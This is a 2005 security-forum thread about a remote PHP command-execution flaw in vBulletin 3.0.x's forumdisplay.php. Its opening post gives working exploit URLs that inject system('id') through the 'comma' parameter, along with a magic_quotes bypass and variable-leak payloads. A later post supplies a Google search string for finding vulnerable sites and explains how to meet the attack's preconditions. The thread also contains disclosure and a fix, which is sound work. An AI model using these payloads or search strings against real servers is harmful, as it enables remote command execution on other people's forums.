Waraxe IT Security Portal
Login or Register
December 22, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 138
Members: 0
Total: 138
Full disclosure
CyberDanube Security Research 20241219-0 | Authenticated Remote Code Execution in Ewon Flexy 205
Stored XSS with Filter Bypass - blogenginev3.3.8
[SYSS-2024-085]: Broadcom CA Client Automation - Improper Privilege Management (CWE-269)
[KIS-2024-07] GFI Kerio Control <= 9.4.5 Multiple HTTP Response Splitting Vulnerabilities
RansomLordNG - anti-ransomware exploit tool
APPLE-SA-12-11-2024-9 Safari 18.2
APPLE-SA-12-11-2024-8 visionOS 2.2
APPLE-SA-12-11-2024-7 tvOS 18.2
APPLE-SA-12-11-2024-6 watchOS 11.2
APPLE-SA-12-11-2024-5 macOS Ventura 13.7.2
APPLE-SA-12-11-2024-4 macOS Sonoma 14.7.2
APPLE-SA-12-11-2024-3 macOS Sequoia 15.2
APPLE-SA-12-11-2024-2 iPadOS 17.7.3
APPLE-SA-12-11-2024-1 iOS 18.2 and iPadOS 18.2
SEC Consult SA-20241211-0 :: Reflected Cross-Site Scripting in Numerix License Server Administration System Login
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> All other software -> Vbullettin 3.0.x forumdisplay.php PHP command Execution
Post new topicReply to topic View previous topic :: View next topic
Vbullettin 3.0.x forumdisplay.php PHP command Execution
PostPosted: Wed Feb 16, 2005 8:41 am Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




AL3NDALEED Founded that within the following conditions:

Quote:

* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.

* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest

* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.

* 4th condition : magic_quotes_gpc must be OFF SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
init.php by secret array GLOBALS[]=1 Wink))


Is it possible to inject code as in the following example:

http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

Anyway the forth condition can be bypassed like this (nesting formulas - Credit to pokley aka pokleyzz - Not Tested)

http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma={$func($comm)}&func=system&comm=id

Or evaluating the value of variables:

forumdisplay.php?GLOBALS[]=1&f=2&comma=$admincpdir
forumdisplay.php?GLOBALS[]=1&f=2&comma=$dbname

So if you are a web master:

Solutions:
----------------
* Disable showforumusers in vbulletin options .
* add the next line before if ($vboptions['showforumusers'])
$comma = '';


Last edited by Zeelock on Thu Feb 17, 2005 8:44 am; edited 2 times in total

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
j
PostPosted: Wed Feb 16, 2005 10:38 pm Reply with quote
SteX
Advanced user
Advanced user
Joined: May 18, 2004
Posts: 181
Location: Serbia




http://www.milw0rm.com/id.php?id=820

_________________

We would change the world, but God won't give us the sourcecode...
....Watch the master. Follow the master. Be the master....
-------------------------------------------------------
View user's profile Send private message
Yep, is the same
PostPosted: Thu Feb 17, 2005 10:06 am Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




As you can see is just a GET req the one by AL3NDALEEB.

The problem lays in Magic Quotes. These protect the innocent against this exploit.

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
PoC
PostPosted: Thu Feb 17, 2005 11:48 am Reply with quote
pokleyzz
Regular user
Regular user
Joined: Feb 17, 2005
Posts: 6




http://www.securityfocus.com/archive/attachment/390667/2/
View user's profile Send private message
Great Pokleyzz, In tune on Time
PostPosted: Thu Feb 17, 2005 12:57 pm Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




Always in time!


I'll test it this evening in my dummy localhost VBullettin Site

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
PostPosted: Thu Feb 17, 2005 8:28 pm Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




Is very hard find servers they have these functions
in my opinion only 15 % all VB (3.0.x-3.04) installed in all world is vulnerable

Code:
* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.

* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest

* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.
View user's profile Send private message Visit poster's website
PostPosted: Thu Feb 17, 2005 10:53 pm Reply with quote
pokleyzz
Regular user
Regular user
Joined: Feb 17, 2005
Posts: 6




Quote:

* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.

* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest

* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.

searching something like this `inurl:"forumdisplay" +"Currently Active Users" +"vBulletin Version 3.0.3"` in google will help find one.

You can create the third condition by login as registered user and view the forum.
View user's profile Send private message
PostPosted: Fri Feb 18, 2005 9:41 am Reply with quote
Alkaen
Regular user
Regular user
Joined: Feb 16, 2005
Posts: 5
Location: Bahrain - Aldair




Thanx dude
View user's profile Send private message Visit poster's website
Vbullettin 3.0.x forumdisplay.php PHP command Execution
www.waraxe.us Forum Index -> All other software
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.037 Seconds